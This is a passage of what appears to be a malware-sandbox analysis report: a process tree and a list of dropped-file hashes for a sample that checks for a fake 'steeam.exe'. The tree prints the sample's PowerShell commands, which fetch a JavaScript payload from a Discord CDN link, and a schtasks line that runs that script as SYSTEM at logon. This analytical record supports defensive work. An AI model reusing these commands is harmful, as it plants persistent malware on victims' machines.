C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:6516

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4876

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6832

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5540

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:3264

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:2492

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6896

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5168

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:6872

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:1532

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:3756

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:1228

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:6668

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4964

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4328

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5296

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:7084

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5400

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6504

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6316

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:1484

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6300

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6600

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5828

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:5160

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6792

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:2652

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6000

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:5112

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:2416

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6556

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:2588

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:5360

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:2132

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:1384

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6796

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:6944

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:752

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:964

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4956

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:6620

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5284

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:116

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6120

C:\Users\Admin\AppData\Roaming\nfy5hudn.bqf1.exe
"C:\Users\Admin\AppData\Roaming\nfy5hudn.bqf1.exe"
4⤵
- Executes dropped EXE
PID:6084

C:\Users\Admin\AppData\Roaming\nfy5hudn.bqf2.exe
"C:\Users\Admin\AppData\Roaming\nfy5hudn.bqf2.exe"
4⤵
- Executes dropped EXE
PID:5124

C:\Users\Admin\AppData\Roaming\nfy5hudn.bqf3.exe
"C:\Users\Admin\AppData\Roaming\nfy5hudn.bqf3.exe"
4⤵
- Checks computer location settings
- Executes dropped EXE
PID:5200

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\582D.tmp\582E.tmp\582F.bat C:\Users\Admin\AppData\Roaming\nfy5hudn.bqf3.exe"
5⤵
PID:5412

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:5436

C:\Windows\system32\where.exe
where node
6⤵
PID:1012

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri 'https://nodejs.org/dist/v20.12.2/node-v20.12.2-x64.msi' -OutFile 'nodejs-installer.msi'"
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2592

C:\Windows\system32\msiexec.exe
msiexec /i nodejs-installer.msi /quiet
6⤵
PID:6220

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri 'https://cdn.discordapp.com/attachments/1249224125830922300/1249224157745516664/index.js?ex=666dc668&is=666c74e8&hm=5dfd52c5327ffb2554e248dcb902443533012613ad4f330995dc83169665440c&' -OutFile 'C:\Users\Admin\AppData\Local\Temp\chrome2\index.js'"
6⤵
- Command and Scripting Interpreter: PowerShell
PID:6552

C:\Windows\system32\schtasks.exe
schtasks /Create /SC ONLOGON /TN "RunNodeScriptAtLogon" /TR "node.exe 'C:\Users\Admin\AppData\Local\Temp\chrome2\index.js'" /RU SYSTEM /F
6⤵
- Scheduled Task/Job: Scheduled Task
PID:2492

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /7
2⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:5680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3696

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3892

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of UnmapMainImage
PID:4092

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3556

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of UnmapMainImage
PID:2488

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:2720

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:1496

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4248

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:5064

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4072

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4844

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1968

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
PID:1312

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:3592

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:1624

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:2888

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:1108

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2808

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:3648

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:4332

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:2016

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4000

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:4768

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
PID:3056

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:5936

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
PID:5848

C:\Windows\System32\MsiExec.exe
C:\Windows\System32\MsiExec.exe -Embedding 7783C24C54E26C5743D3E0D7BEE9EAE3
2⤵
- Loads dropped DLL
PID:6900

C:\Windows\System32\MsiExec.exe
C:\Windows\System32\MsiExec.exe -Embedding D3E396B8E6366E49698C1B1C80681B08 E Global\MSI0000
2⤵
PID:1312

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding D1A00BE62A2CD2D3897EB23A6471553D
2⤵
PID:5248

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:5160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:6876

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Config.Msi\e58d6a7.rbs
Filesize
823KB

MD5
dd9ded44e9ee73bdd26033ff514f5918

SHA1
b1058f8ad3b343b3a390110f441c6edd712d7f37

SHA256
d6911a2a3c240a19013d3b5f5396ff2f4c847853bb707a634aeb58844553201d

SHA512
5a8d623072cd4eb1f09c5c50533683589b651f4d35c9078748032e2937ec09f0f1f347e2dcb1e7c147b2ff800642773da98b34ab2a60c13ac055a3e8b16645e5

Download Submit
C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\tuf\LICENSE
Filesize
11KB

MD5
dfc1b916d4555a69859202f8bd8ad40c

SHA1
fc22b6ee39814d22e77fe6386c883a58ecac6465

SHA256
7b0ce3425a26fdba501cb13508af096ade77e4036dd2bd8849031ddecf64f7c9

SHA512
1fbe6bb1f60c8932e4dcb927fc8c8131b9c73afd824ecbabc2045e7af07b35a4155a0f8ad3103bf25f192b6d59282bfc927aead3cb7aaeb954e1b6dbd68369fa

Download Submit
C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\verify\dist\shared.types.js
Filesize
79B

MD5
24563705cc4bb54fccd88e52bc96c711

SHA1
871fa42907b821246de04785a532297500372fc7

SHA256
ef1f170ad28f2d870a474d2f96ae353d770fff5f20e642cd8f9b6f1d7742df13

SHA512
2ce8d2cf580623358fef5f4f8925d0c9943a657c2503c80048ca789bf16eacdb980bfc8aaaa50101a738e939926fcf2545500484dcad782c700ee206d8c6f9b9

Download Submit
C:\Program Files\nodejs\node_modules\npm\node_modules\bin-links\LICENSE
Filesize
754B

MD5
d2cf52aa43e18fdc87562d4c1303f46a

SHA1
58fb4a65fffb438630351e7cafd322579817e5e1

SHA256
45e433413760dc3ae8169be5ed9c2c77adc31ad4d1bc5a28939576df240f29a0

SHA512
54e33d7998b5e9ba76b2c852b4d0493ebb1b1ee3db777c97e6606655325ff66124a0c0857ca4d62de96350dbaee8d20604ec22b0edc17b472086da4babbbcb16

Download Submit
C:\Program Files\nodejs\node_modules\npm\node_modules\chalk\license
Filesize
1KB

MD5
b862aeb7e1d01452e0f07403591e5a55

SHA1
b8765be74fea9525d978661759be8c11bab5e60e

SHA256
fcf1a18be2e25ba82acf2c59821b030d8ee764e4e201db6ef3c51900d385515f

SHA512
885369fe9b8cb0af1107ee92b52c6a353da7cf75bc86abb622e2b637c81e9c5ffe36b0ac74e11cfb66a7a126b606fe7a27e91f3f4338954c847ed2280af76a5f

Download Submit
C:\Program Files\nodejs\node_modules\npm\node_modules\env-paths\license
Filesize
1KB

MD5
5ad87d95c13094fa67f25442ff521efd

SHA1
01f1438a98e1b796e05a74131e6bb9d66c9e8542

SHA256
67292c32894c8ac99db06ffa1cb8e9a5171ef988120723ebe673bf76712260ec

SHA512
7187720ccd335a10c9698f8493d6caa2d404e7b21731009de5f0da51ad5b9604645fbf4bc640aa94513b9eb372aa6a31df2467198989234bc2afbce87f76fbc3

Download Submit
C:\Program Files\nodejs\node_modules\npm\node_modules\gauge\LICENSE.md
Filesize
818B

MD5
2916d8b51a5cc0a350d64389bc07aef6

SHA1
c9d5ac416c1dd7945651bee712dbed4d158d09e1

SHA256
733dcbf5b1c95dc765b76db969b998ce0cbb26f01be2e55e7bccd6c7af29cb04

SHA512
508c5d1842968c478e6b42b94e04e0b53a342dfaf52d55882fdcfe02c98186e9701983ab5e9726259fba8336282e20126c70d04fc57964027586a40e96c56b74

Download Submit
C:\Program Files\nodejs\node_modules\npm\node_modules\ignore-walk\LICENSE
Filesize
780B

MD5
b020de8f88eacc104c21d6e6cacc636d

SHA1
20b35e641e3a5ea25f012e13d69fab37e3d68d6b

SHA256
3f24d692d165989cd9a00fe35ca15a2bc6859e3361fa42aa20babd435f2e4706

SHA512
4220617e29dd755ad592295bc074d6bc14d44a1feeed5101129669f3ecf0e34eaa4c7c96bbc83da7352631fa262baab45d4a370dad7dabec52b66f1720c28e38

Download Submit
C:\Program Files\nodejs\node_modules\npm\node_modules\libnpmsearch\LICENSE
Filesize
730B

MD5
072ac9ab0c4667f8f876becedfe10ee0

SHA1
0227492dcdc7fb8de1d14f9d3421c333230cf8fe

SHA256
2ef361317adeda98117f14c5110182c28eae233af1f7050c83d4396961d14013

SHA512
f38fd6506bd9795bb27d31f1ce38b08c9e6f1689c34fca90e9e1d5194fa064d1f34a9c51d15941506ebbbcd6d4193055e9664892521b7e39ebcd61c3b6f25013

Download Submit
C:\Program Files\nodejs\node_modules\npm\node_modules\minizlib\node_modules\minipass\LICENSE
Filesize
802B

MD5
d7c8fab641cd22d2cd30d2999cc77040

SHA1
d293601583b1454ad5415260e4378217d569538e

SHA256
04400db77d925de5b0264f6db5b44fe6f8b94f9419ad3473caaa8065c525c0be

SHA512
278ff929904be0c19ee5fb836f205e3e5b3e7cec3d26dd42bbf1e7e0ca891bf9c42d2b28fce3741ae92e4a924baf7490c7c6c59284127081015a82e2653e0764

Download Submit
C:\Program Files\nodejs\node_modules\npm\node_modules\minizlib\node_modules\minipass\index.js
Filesize
16KB

MD5
bc0c0eeede037aa152345ab1f9774e92

SHA1
56e0f71900f0ef8294e46757ec14c0c11ed31d4e

SHA256
7a395802fbe01bb3dc8d09586e0864f255874bf897378e546444fbaec29f54c5

SHA512
5f31251825554bf9ed99eda282fa1973fcec4a078796a10757f4fb5592f2783c4ebdd00bdf0d7ed30f82f54a7668446a372039e9d4589db52a75060ca82186b3

Download Submit
C:\Program Files\nodejs\node_modules\npm\node_modules\minizlib\node_modules\minipass\package.json
Filesize
1KB

MD5
d116a360376e31950428ed26eae9ffd4

SHA1
192b8e06fb4e1f97e5c5c7bf62a9bff7704c198b

SHA256
c3052bd85910be313e38ad355528d527b565e70ef15a784db3279649eee2ded5

SHA512
5221c7648f4299234a4637c47d3f1eb5e147014704913bc6fdad91b9b6a6ccc109bced63376b82b046bb5cad708464c76fb452365b76dbf53161914acf8fb11a

Download Submit
C:\Program Files\nodejs\node_modules\npm\node_modules\promise-call-limit\LICENSE
Filesize
763B

MD5
7428aa9f83c500c4a434f8848ee23851

SHA1
166b3e1c1b7d7cb7b070108876492529f546219f

SHA256
1fccd0ad2e7e0e31ddfadeaf0660d7318947b425324645aa85afd7227cab52d7

SHA512
c7f01de85f0660560206784cdf159b2bdc5f1bc87131f5a8edf384eba47a113005491520b0a25d3cc425985b5def7b189e18ff76d7d562c434dc5d8c82e90cce

Download Submit
C:\Program Files\nodejs\node_modules\npm\node_modules\promise-call-limit\dist\commonjs\package.json
Filesize
28B

MD5
56368b3e2b84dac2c9ed38b5c4329ec2

SHA1
f67c4acef5973c256c47998b20b5165ab7629ed4

SHA256
58b55392b5778941e1e96892a70edc12e2d7bb8541289b237fbddc9926ed51bd

SHA512
d662bff3885118e607079fcbeedb27368589bc0ee89f90b9281723fa08bda65e5a08d9640da188773193c0076ec0a5c92624673a6a961490be163e2553d6f482

Download Submit
C:\Program Files\nodejs\node_modules\npm\node_modules\promise-call-limit\dist\esm\package.json
Filesize
26B

MD5
2324363c71f28a5b7e946a38dc2d9293

SHA1
7eda542849fb3a4a7b4ba8a7745887adcade1673

SHA256
1bf0e53fc74b05f1aade7451fbac72f1944b067d4229d96bae7a225519a250e4

SHA512
7437cf8f337d2562a4046246fbfcc5e9949f475a1435e94efbc4b6a55880050077d72692cbc3413e0ccd8f36adf9956a6cc633a2adc85fbff6c4aa2b8edac677

Download Submit
C:\Program Files\nodejs\node_modules\npm\node_modules\wrap-ansi\node_modules\emoji-regex\es2015\index.js
Filesize
17KB

MD5
cf8f16c1aa805000c832f879529c070c

SHA1
54cc4d6c9b462ad2de246e28cd80ed030504353d

SHA256
77f404d608e2a98f2a038a8aa91b83f0a6e3b4937e5de35a8dae0c23aa9ee573

SHA512
a786e51af862470ae46ad085d33281e45795c24897e64b2c4b265302fa9cbfa47b262ec188adbc80d51cfc6ba395b500c0d7f5d343ca4fc2b828eaedba4bd29a

Download Submit
C:\Program Files\nodejs\node_modules\npm\node_modules\wrap-ansi\node_modules\emoji-regex\index.js
Filesize
15KB

MD5
9841536310d4e186a474dfa2acf558cd

SHA1
33fabbcc5e1adbe0528243eafd36e5d876aaecaa

SHA256
5b3c0ac6483d83e6c079f9ffd1c7a18e883a9aaeaedb2d65dd9d5f78153476b9

SHA512
b67680a81bb4b62f959ba66476723eb681614925f556689e4d7240af8216a49f0d994c31381bf6a9489151d14ed8e0d0d4d28b66f02f31188059c9b24aaa3783

Download Submit
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Node.js\Node.js documentation.url
Filesize
168B

MD5
1c1f6159630c170b596af7c9085f8bb0

SHA1
ac26cfe43e10a9f76aee943f9ceff3dc77df29fd

SHA256
61403502b3d584ab749a417955dda3d6c956e64109cc4ac4e46e44b462b7c4f0

SHA512
f93d2e86c287ed4e50a0c00bcd9594c322cfbd0507bbd191d97c7dd2881850296986139df9580ba1bbaae8abab284335db64c41f6edde441e34fa56b934c3046

Download Submit
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Node.js\Node.js website.url
Filesize
133B

MD5
35b86e177ab52108bd9fed7425a9e34a

SHA1
76a1f47a10e3ab829f676838147875d75022c70c

SHA256
afaa6c6335bd3db79e46fb9d4d54d893cee9288e6bb4738294806a9751657319

SHA512
3c8047c94b789c8496af3c2502896cef2d348ee31618893b9b71244af667ec291dcb9b840f869eb984624660086db0c848d1846aa601893e6f9955e56da19f62

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ZWHax.exe.log
Filesize
226B

MD5
28d7fcc2b910da5e67ebb99451a5f598

SHA1
a5bf77a53eda1208f4f37d09d82da0b9915a6747

SHA256
2391511d0a66ed9f84ae54254f51c09e43be01ad685db80da3201ec880abd49c

SHA512
2d8eb65cbf04ca506f4ef3b9ae13ccf05ebefab702269ba70ffd1ce9e6c615db0a3ee3ac0e81a06f546fc3250b7b76155dd51241c41b507a441b658c8e761df6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
223bd4ae02766ddc32e6145fd1a29301

SHA1
900cfd6526d7e33fb4039a1cc2790ea049bc2c5b

SHA256
1022ec2fed08ff473817fc53893e192a8e33e6a16f3d2c8cb6fd37f49c938e1e

SHA512
648cd3f8a89a18128d2b1bf960835e087a74cdbc783dbfcc712b3cb9e3a2e4f715e534ba2ef81d89af8f60d4882f6859373248c875ceb26ad0922e891f2e74cc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
4b4f91fa1b362ba5341ecb2836438dea

SHA1
9561f5aabed742404d455da735259a2c6781fa07

SHA256
d824b742eace197ddc8b6ed5d918f390fde4b0fbf0e371b8e1f2ed40a3b6455c

SHA512
fef22217dcdd8000bc193e25129699d4b8f7a103ca4fe1613baf73ccf67090d9fbae27eb93e4bb8747455853a0a4326f2d0c38df41c8d42351cdcd4132418dac

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
eaa3db555ab5bc0cb364826204aad3f0

SHA1
a4cdfaac8de49e6e6e88b335cfeaa7c9e3c563ca

SHA256
ef7baeb1b2ab05ff3c5fbb76c2759db49294654548706c7c8e87f0cde855b86b

SHA512
e13981da51b52c15261ecabb98af32f9b920651b46b10ce0cc823c5878b22eb1420258c80deef204070d1e0bdd3a64d875ac2522e3713a3cf11657aa55aeccd4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Filesize
1KB

MD5
75cc3205b80e14dfe92a759f7cd413ae

SHA1
ccf1d29ae22e202f528acfaaf4125c9574923652

SHA256
5d1e31403f4ee2d45c274e02e4d72b03e337dfd018f383d9aa408540c3662313

SHA512
cb7a1145a897cc7eb2ab8c96030142ab083b5438205d0f575fb38ba10249e3f4b8b274b0516ffa7aab603a768e566356b265a69bc89ed1ca5e1650100c14773a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
Filesize
579B

MD5
e51401bdf1eae288a9ba5d952ebb3aa9

SHA1
5effd82fee8231e1294fd404dd1f10caf5c41fd2

SHA256
a08ea4c022c5207583d92dedf27194f6d81335b90bef42e90132333220a52fa2

SHA512
f777e86f2eb64d2c31afba76f544f9a65392b0d77de18e16d6a2b5534f43febc083f757d37c0719b29b556c5f73b1238c0857ee7b9a6e18c0c9c99ca54133edb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
5KB

MD5
f26adf19694ab72769beb9969486e075

SHA1
2282173b7d1d507edda34be71fcfad3b333db348

SHA256
a1bf45cccfec5273d468459e34feace6532901933bafb33e81784a3f90344c9c

SHA512
00b35096be1f7f90dc8ba465c2fe36a8fbb4418265f2a9e829effcd0cff9368841a9fd4c85b232a1c2636ba0c2207535728311d5a9488c7d05a28027d8bc3cde

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
6KB

MD5
be8566e95f612899c178f06f4ff485eb

SHA1
c7c6151587cf17f424706064a7c3918de77da018

SHA256
2deae6262795bc4f50e1d25f3eca5898b87a343082f7b5d3f6aa36b186e0865f

SHA512
4b4b654725bcea966e6e65e6bb24b65acb1e406262f50485d1ecf8830db59c14503f716e9e18eb3996c4db10c9a505c78e7bd6cd07c9b732bdc799f026342be9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
Filesize
1KB

MD5
717e4ed18e476ba914da2abc15f7aeda

SHA1
ddda6026596fcee30ab483973289ff0ee7550bc9

SHA256
7be6ba7e37e06ef38cba5db04143482f60a94aa56eb3fb8874f9cd393ace10e5

SHA512
8a82fd5e78452146981792f1e007beb299a6dd6fd539a41f251f24d2c1ed12cd9e00ae959edd6085c6eaddc376b65affb18c1acfdd1a8c97e2ac30dcbb16f6be

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe589e8d.TMP
Filesize
1KB

MD5
816d7aa01bf61f2ca01b5d053e8635a0

SHA1
4beb89821e70a8483523a174007546f90b2943fd

SHA256
13bdfee53c5d45875d5d01d45cb09e5353b51234f925dd395b018b72151e3479

SHA512
975179581c9b8506b7f2468e8a56adafea41e89b482d05b719205577ddbe3359e003e1db291a9dc1a8599617508e5f07e41159f397e5654c44e893895af5441d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
11KB

MD5
e6eb9ccd30ea98259353457a4833b0d1

SHA1
cf72ae84e324853ba09ed360eae4cc48a8928cec

SHA256
eab940d4a335bf3a63e564a3e6c68c5ab5e154d1be8e783f9b337d3aa89de575

SHA512
5b72b6578b3392ca19a6415df9604a312edf58571377d7c1998a4b2f2065c99a081db5d642f511ff56a039441acc1404bcd5bb4e5ce3b918b9d8a6e866ba4a07

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
